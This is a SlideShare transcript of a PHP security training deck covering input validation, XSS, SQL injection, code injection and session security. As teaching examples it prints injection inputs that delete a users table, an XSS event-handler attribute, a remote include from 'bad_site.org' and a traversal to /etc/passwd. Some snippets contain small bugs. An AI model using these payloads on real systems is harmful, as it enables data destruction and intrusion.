SlideShare a Scribd company logo
. Training Presented By : Anish  & Mugdha Value One InfoTech Pvt. Ltd.
. Training Importance of PHP Security Concerns of  PHP Security Input Validation Cross-Site Scripting SQL Injection Code Injection Session Security Shared Hosting Topics of Discussion
. Training PHP is widely used language for web applications  PHP is making headway into enterprise as well as corporate markets.  Most effective & often overlooked measure to prevent malicious users  PHP applications often end up working with sensitive data. Importance of PHP Security
. Training INPUT  VALIDATION
. Training All user inputs are unreliable and can’t be trusted. Need for validating any user input before use : Unexpected Modification by the user Intentional attempt to gain unauthorized access to the application Attempt to crash the application by the malicious users  Input Validation
. Training Most common source of vulnerabilities in PHP applications.  Any input parameters are translated to variables :-  ?foo=bar >> $foo = “bar”; No way to determine the input source. Prioritized sources like cookies can overwrite GET values.  When register global is set ON, un-initialized variables can be “injected” via user inputs. Register Globals
. Training Disable register_globals in PHP.ini  ( Disabled by-default as of  PHP 4.2.0 ) Alternative to Register Global : SUPER GLOBALS $_GET – data from get requests. $_POST – post request data. $_COOKIE – cookie information. $_FILES – uploaded file data. $_SERVER – server data $_ENV – environment variables $_REQUEST – mix of GET, POST, COOKIE Solutions To Register Globals
. Training Type sensitive validation conditions. Because input is always a string, type sensitive  compare to a Boolean or an integer will always fail.  Example  if ($authorized === TRUE) {  //  LOGIN SUCCESS }  Contd…
. Training Code with error_reporting set to E_ALL. Allows you to see warnings about the use of  un-initialized  variables. Use of constants  Created via define() function Once set, remains defined until end of  request  Can be made case-insensitive to avoid accidental access to a  different datum caused by case variance.  Contd…
. Training Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources.  PHP.ini: variables_order = GPCS (Last data source has highest priority) Example  echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2 Use the input method-specific superglobals intead of $_REQUEST Cons of $  REQUEST
. Training All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous.  Casting is a simple and very efficient way to ensure that variables  contain numeric values.  Example of floating point number validation if (!empty($_GET['price']))  {  $price = (float) $_GET['price']; }  else  $price = 0; Numeric Data Validation
. Training PHP comes with a ctype, extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo "Only A-Za-z0-9 are allowed."; } if (!ctype_alpha($_GET['captcha'])) { echo "Only A-Za-z are allowed."; } if (!ctype_xdigit($_GET['color'])) { echo "Only hexadecimal values are allowed"; } String Validation
. Training What are Magic Quotes ?? Problems associated with it !! How to deal with it ??  Using Magic Quotes
. Training XSS
. Training Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation.  Can lead to embarrassment Session take-over Password theft User tracking by 3rd parties Cross Site Scripting (XSS)
. Training Prevention of XSS is as simple as filtering input data via one of  the following: htmlspecialchars()   Encodes ‘, “, <, >, & htmlentities()   Convert anything that there is HTML entity for. strip_tags()   Strips anything that resembles HTML tag. Tag allowances in strip_tags() are dangerous, because attributes  of those tags are not being validated in any way. Preventing XSS
. Training $str = strip_tags($_POST['message']); // encode any foreign & special chars $str = htmlentities($str); // strip tags can be told to &quot;keep&quot; certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>'); // tag allowance problems <u onmouseover=&quot;alert('JavaScript is allowed');&quot;> <b style=&quot;font-size: 500px&quot;>Lot's of text</b> </u> Preventing XSS
. Training SQL Injection
. Training SQL injection is similar to XSS, in the fact that not validated data  is being used. But in this case this data is passed to the database.  Arbitrary query execution Removal of data. Modification of existing values. Denial of service. Arbitrary data injection. // consider this query, it will delete all records from users $name = “mugdha’; DELETE FROM users;”; mysql_query(“SELECT * FROM users WHERE name =’{$name}’”); SQL Injection
. Training If your database extension offers a specific escaping function then always use it; instead of other methods MySQL mysql_escape_string() mysql_real_escape_string() PostgreSQL pg_escape_string() pg_escape_bytea() SQLite sqlite_escape_string()   SQL Escaping
. Training SQL Escaping in Practice // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, &quot;INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')&quot;);
. Training When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape. http://example.com/db.php?id=0;DELETE%20FROM%20users <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db,&quot;SELECT * FROM users WHERE id={$id}&quot;); // Bye Bye user data... ?>  Escaping Shortfall
. Training Prepared statements are a mechanism to secure and optimize execution of repeated queries. Works by making SQL “compile” the query and then substitute in the changing values for each execution. Increased performance,  one compile vs one per query. Better security, data is “type set” will never be evaluated as separate query. Supported by most database systems. MySQL users will need to use version 4.1 or higher. SQLite extension does not support this either. Prepared Statements
. Training <?php $data = &quot;Here is some text to index&quot;; pg_query($db, &quot;PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)&quot;); foreach (explode(&quot; &quot;, $data) as $word) { // no is escaping needed pg_query($db, &quot;EXECUTE my_stmt({$word})&quot;); } // de-allocte the prepared statement pg_query($db, &quot;DEALLOCATE my_stmt&quot;); ?>   Unless explicitly removed, prepared statements “stay alive” between persistent connections. Prepared Statements
. Training Code Injection
. Training Code Injection is the execution of arbitrary local or remote code. The two of the most common sources of code injection are: Dynamic paths/files used in require/include statements eval(): A major source of code injection is the improper validation of eval(). Code Injection
. Training Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these: <?php //dynamic path $_GET['path'] = ‘http://bad_site.org’; include &quot;{$_GET['path']}/header.inc&quot;; //dynamic file $_GET[‘interface’] = ‘../../../../../etc/passwd’; require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’]; ?> There are some other ways to secure include or require calls... Code Injection Prevention
. Training work with a white-list of acceptable values. //create an array of acceptable file names $tmpl = array(); foreach(glob(&quot;templates/*.tmpl&quot;) as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) { $fp = fopen($tmpl[$_GET['path']], &quot;r&quot;); } Code Injection Prevention
. Training Session Security
. Training Sessions are a common tool for user tracking across a web site. For the duration of a visit, the session is effectively the user’s identity. If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised. Session Security
. Training To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) {  // not a new session session_regenerate_id(TRUE);  // make new session id } ?> Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id. Securing Session ID
. Training Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy(); Session Validation
. Training By default PHP sessions are stored as files inside the common / tmp directory. This often means any user on the system could see active sessions and “acquire” them or even modify their content. Solutions? Separate session storage directory via session.save_path Database storage mechanism, mysql, pgsql, oci, sqlite. Custom session handler allowing data storage anywhere. Safer Session Storage
. Training Shared Hosting
. Training Most PHP applications run in shared environments where all  users “share” the same web server instances. This means that all files that are involved in serving content must   be accessible to the web server (world readable). Consequently it means that any user could read the content of files of all other users. Shared Hosting
. Training PHP’s solution to this problem are 2 php.ini directives. open_basedir  – limits file access to one or more specified directories. Relatively Efficient. Uncomplicated. safe_mode  – limits file access based on uid/gid of running script and file to be accessed. Slow and complex approach. Can be bypassed with little effort. The PHP Solution
. Training php|architect’s  Guide to PHP Security By Ilia Alshanetsky Essential PHP Security By Chris Shiflett References
. Training

More Related Content

PDF
Php tips-and-tricks4128
PPT
Corephpcomponentpresentation 1211425966721657-8
PDF
Security 202 - Are you sure your site is secure?
PDF
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
PDF
Dependency Injection with PHP 5.3
KEY
PHP security audits
KEY
Intermediate PHP
PPT
Intro to PHP
Php tips-and-tricks4128
Corephpcomponentpresentation 1211425966721657-8
Security 202 - Are you sure your site is secure?
Marrow: A Meta-Framework for Python 2.6+ and 3.1+
Dependency Injection with PHP 5.3
PHP security audits
Intermediate PHP
Intro to PHP

What's hot (19)

KEY
PDF
07 Introduction to PHP #burningkeyboards
PDF
Php Security
PPTX
New in php 7
ODP
PHP5.5 is Here
PPT
Intro to php
PDF
Dependency injection - phpday 2010
PPT
PHP POWERPOINT SLIDES
PDF
Dependency injection in PHP 5.3/5.4
PDF
Symfony2 - OSIDays 2010
PDF
Symfony2 - WebExpo 2010
PDF
SPL: The Missing Link in Development
PDF
PHP 5.3 Overview
PDF
Data Types In PHP
PDF
PhpBB meets Symfony2
PPTX
Speed up your developments with Symfony2
PPTX
Php on the Web and Desktop
PPTX
Zephir - A Wind of Change for writing PHP extensions
07 Introduction to PHP #burningkeyboards
Php Security
New in php 7
PHP5.5 is Here
Intro to php
Dependency injection - phpday 2010
PHP POWERPOINT SLIDES
Dependency injection in PHP 5.3/5.4
Symfony2 - OSIDays 2010
Symfony2 - WebExpo 2010
SPL: The Missing Link in Development
PHP 5.3 Overview
Data Types In PHP
PhpBB meets Symfony2
Speed up your developments with Symfony2
Php on the Web and Desktop
Zephir - A Wind of Change for writing PHP extensions
Ad

Viewers also liked (6)

PDF
Phpworks enterprise-php-1227605806710884-9
PDF
Firstcup
PDF
Php tizag tutorial
DOC
Unleashing the Potential of Learners
PDF
Deadlock
PPT
Advanced Hibernate
Phpworks enterprise-php-1227605806710884-9
Firstcup
Php tizag tutorial
Unleashing the Potential of Learners
Deadlock
Advanced Hibernate
Ad

Similar to Php security3895 (20)

PPS
Php Security3895
PPT
Php Security By Mugdha And Anish
PPT
Php & Web Security - PHPXperts 2009
PPT
Security.ppt
PPT
12-security.ppt - PHP and Arabic Language - Index
PPT
Php My Sql Security 2007
PPT
PHPUG Presentation
PPT
PHP Security
PPT
Php security
PPT
Eight simple rules to writing secure PHP programs
ODP
My app is secure... I think
PPTX
Secure Programming In Php
PDF
Security in PHP Applications: An absolute must!
PPS
Hacking - Web based attacks
PDF
Http and security
PPSX
Web Security
PPT
Joomla security nuggets
PDF
null Bangalore meet - Php Security
PDF
Intro to Php Security
PPT
secure php
Php Security3895
Php Security By Mugdha And Anish
Php & Web Security - PHPXperts 2009
Security.ppt
12-security.ppt - PHP and Arabic Language - Index
Php My Sql Security 2007
PHPUG Presentation
PHP Security
Php security
Eight simple rules to writing secure PHP programs
My app is secure... I think
Secure Programming In Php
Security in PHP Applications: An absolute must!
Hacking - Web based attacks
Http and security
Web Security
Joomla security nuggets
null Bangalore meet - Php Security
Intro to Php Security
secure php

More from PrinceGuru MS (9)

PDF
Phpjedi 090307090434-phpapp01 2
PDF
Phpbasics
PDF
Php and-web-services-24402
PDF
Php tutorial from_beginner_to_master
PDF
Php simple
PDF
Drupal refcard
PDF
Codeigniter 1.7.1 helper_reference
PDF
Class2011
PDF
Cake php 1.2-cheatsheet
Phpjedi 090307090434-phpapp01 2
Phpbasics
Php and-web-services-24402
Php tutorial from_beginner_to_master
Php simple
Drupal refcard
Codeigniter 1.7.1 helper_reference
Class2011
Cake php 1.2-cheatsheet

Recently uploaded (20)

PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPT
Teaching material agriculture food technology
PDF
Electronic commerce courselecture one. Pdf
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PPTX
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Advanced methodologies resolving dimensionality complications for autism neur...
Diabetes mellitus diagnosis method based random forest with bat algorithm
Dropbox Q2 2025 Financial Results & Investor Presentation
Teaching material agriculture food technology
Electronic commerce courselecture one. Pdf
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
GamePlan Trading System Review: Professional Trader's Honest Take
breach-and-attack-simulation-cybersecurity-india-chennai-defenderrabbit-2025....
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
NewMind AI Weekly Chronicles - August'25 Week I
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Network Security Unit 5.pdf for BCA BBA.
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Unlocking AI with Model Context Protocol (MCP)
NewMind AI Monthly Chronicles - July 2025
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...

Php security3895

  • 1. . Training Presented By : Anish & Mugdha Value One InfoTech Pvt. Ltd.
  • 2. . Training Importance of PHP Security Concerns of PHP Security Input Validation Cross-Site Scripting SQL Injection Code Injection Session Security Shared Hosting Topics of Discussion
  • 3. . Training PHP is widely used language for web applications PHP is making headway into enterprise as well as corporate markets. Most effective & often overlooked measure to prevent malicious users PHP applications often end up working with sensitive data. Importance of PHP Security
  • 4. . Training INPUT VALIDATION
  • 5. . Training All user inputs are unreliable and can’t be trusted. Need for validating any user input before use : Unexpected Modification by the user Intentional attempt to gain unauthorized access to the application Attempt to crash the application by the malicious users Input Validation
  • 6. . Training Most common source of vulnerabilities in PHP applications. Any input parameters are translated to variables :- ?foo=bar >> $foo = “bar”; No way to determine the input source. Prioritized sources like cookies can overwrite GET values. When register global is set ON, un-initialized variables can be “injected” via user inputs. Register Globals
  • 7. . Training Disable register_globals in PHP.ini ( Disabled by-default as of PHP 4.2.0 ) Alternative to Register Global : SUPER GLOBALS $_GET – data from get requests. $_POST – post request data. $_COOKIE – cookie information. $_FILES – uploaded file data. $_SERVER – server data $_ENV – environment variables $_REQUEST – mix of GET, POST, COOKIE Solutions To Register Globals
  • 8. . Training Type sensitive validation conditions. Because input is always a string, type sensitive compare to a Boolean or an integer will always fail. Example if ($authorized === TRUE) { // LOGIN SUCCESS } Contd…
  • 9. . Training Code with error_reporting set to E_ALL. Allows you to see warnings about the use of un-initialized variables. Use of constants Created via define() function Once set, remains defined until end of request Can be made case-insensitive to avoid accidental access to a different datum caused by case variance. Contd…
  • 10. . Training Suffers from the loss of data problem, caused when the same parameter is provided by multiple input sources. PHP.ini: variables_order = GPCS (Last data source has highest priority) Example echo $_GET['id']; // 1 echo $_COOKIE['id']; // 2 echo $_REQUEST['id']; // 2 Use the input method-specific superglobals intead of $_REQUEST Cons of $ REQUEST
  • 11. . Training All data passed to PHP (GET/POST/COOKIE) ends up being a string. Using strings where integers are needed is not only inefficient but also dangerous. Casting is a simple and very efficient way to ensure that variables contain numeric values. Example of floating point number validation if (!empty($_GET['price'])) { $price = (float) $_GET['price']; } else $price = 0; Numeric Data Validation
  • 12. . Training PHP comes with a ctype, extension that offers a very quick mechanism for validating string content. if (!ctype_alnum($_GET['login'])) { echo &quot;Only A-Za-z0-9 are allowed.&quot;; } if (!ctype_alpha($_GET['captcha'])) { echo &quot;Only A-Za-z are allowed.&quot;; } if (!ctype_xdigit($_GET['color'])) { echo &quot;Only hexadecimal values are allowed&quot;; } String Validation
  • 13. . Training What are Magic Quotes ?? Problems associated with it !! How to deal with it ?? Using Magic Quotes
  • 15. . Training Cross Site Scripting (XSS) is a situation where by attacker injects HTML code, which is then displayed on the page without further validation. Can lead to embarrassment Session take-over Password theft User tracking by 3rd parties Cross Site Scripting (XSS)
  • 16. . Training Prevention of XSS is as simple as filtering input data via one of the following: htmlspecialchars() Encodes ‘, “, <, >, & htmlentities() Convert anything that there is HTML entity for. strip_tags() Strips anything that resembles HTML tag. Tag allowances in strip_tags() are dangerous, because attributes of those tags are not being validated in any way. Preventing XSS
  • 17. . Training $str = strip_tags($_POST['message']); // encode any foreign & special chars $str = htmlentities($str); // strip tags can be told to &quot;keep&quot; certain tags $str = strip_tags($_POST['message'], '<b><p><i><u>'); // tag allowance problems <u onmouseover=&quot;alert('JavaScript is allowed');&quot;> <b style=&quot;font-size: 500px&quot;>Lot's of text</b> </u> Preventing XSS
  • 18. . Training SQL Injection
  • 19. . Training SQL injection is similar to XSS, in the fact that not validated data is being used. But in this case this data is passed to the database. Arbitrary query execution Removal of data. Modification of existing values. Denial of service. Arbitrary data injection. // consider this query, it will delete all records from users $name = “mugdha’; DELETE FROM users;”; mysql_query(“SELECT * FROM users WHERE name =’{$name}’”); SQL Injection
  • 20. . Training If your database extension offers a specific escaping function then always use it; instead of other methods MySQL mysql_escape_string() mysql_real_escape_string() PostgreSQL pg_escape_string() pg_escape_bytea() SQLite sqlite_escape_string() SQL Escaping
  • 21. . Training SQL Escaping in Practice // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, &quot;INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')&quot;);
  • 22. . Training When un-quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape. http://example.com/db.php?id=0;DELETE%20FROM%20users <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db,&quot;SELECT * FROM users WHERE id={$id}&quot;); // Bye Bye user data... ?> Escaping Shortfall
  • 23. . Training Prepared statements are a mechanism to secure and optimize execution of repeated queries. Works by making SQL “compile” the query and then substitute in the changing values for each execution. Increased performance, one compile vs one per query. Better security, data is “type set” will never be evaluated as separate query. Supported by most database systems. MySQL users will need to use version 4.1 or higher. SQLite extension does not support this either. Prepared Statements
  • 24. . Training <?php $data = &quot;Here is some text to index&quot;; pg_query($db, &quot;PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)&quot;); foreach (explode(&quot; &quot;, $data) as $word) { // no is escaping needed pg_query($db, &quot;EXECUTE my_stmt({$word})&quot;); } // de-allocte the prepared statement pg_query($db, &quot;DEALLOCATE my_stmt&quot;); ?> Unless explicitly removed, prepared statements “stay alive” between persistent connections. Prepared Statements
  • 25. . Training Code Injection
  • 26. . Training Code Injection is the execution of arbitrary local or remote code. The two of the most common sources of code injection are: Dynamic paths/files used in require/include statements eval(): A major source of code injection is the improper validation of eval(). Code Injection
  • 27. . Training Avoid using dynamic or relative paths/files in your code. Although somewhat less convenient; always use full paths, defined by constants, which will prevent attacks like these: <?php //dynamic path $_GET['path'] = ‘http://bad_site.org’; include &quot;{$_GET['path']}/header.inc&quot;; //dynamic file $_GET[‘interface’] = ‘../../../../../etc/passwd’; require‘home/mbr/profile/templates_c/interfaces/’.$_GET[‘interface’]; ?> There are some other ways to secure include or require calls... Code Injection Prevention
  • 28. . Training work with a white-list of acceptable values. //create an array of acceptable file names $tmpl = array(); foreach(glob(&quot;templates/*.tmpl&quot;) as $v) { $tmpl[md5($v)] = $v; } if (isset($tmpl[$_GET['path']])) { $fp = fopen($tmpl[$_GET['path']], &quot;r&quot;); } Code Injection Prevention
  • 29. . Training Session Security
  • 30. . Training Sessions are a common tool for user tracking across a web site. For the duration of a visit, the session is effectively the user’s identity. If an active session can be obtained by 3rd party, it can assume the identity of the user who’s session was compromised. Session Security
  • 31. . Training To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?> Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id. Securing Session ID
  • 32. . Training Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy(); Session Validation
  • 33. . Training By default PHP sessions are stored as files inside the common / tmp directory. This often means any user on the system could see active sessions and “acquire” them or even modify their content. Solutions? Separate session storage directory via session.save_path Database storage mechanism, mysql, pgsql, oci, sqlite. Custom session handler allowing data storage anywhere. Safer Session Storage
  • 34. . Training Shared Hosting
  • 35. . Training Most PHP applications run in shared environments where all users “share” the same web server instances. This means that all files that are involved in serving content must be accessible to the web server (world readable). Consequently it means that any user could read the content of files of all other users. Shared Hosting
  • 36. . Training PHP’s solution to this problem are 2 php.ini directives. open_basedir – limits file access to one or more specified directories. Relatively Efficient. Uncomplicated. safe_mode – limits file access based on uid/gid of running script and file to be accessed. Slow and complex approach. Can be bypassed with little effort. The PHP Solution
  • 37. . Training php|architect’s Guide to PHP Security By Ilia Alshanetsky Essential PHP Security By Chris Shiflett References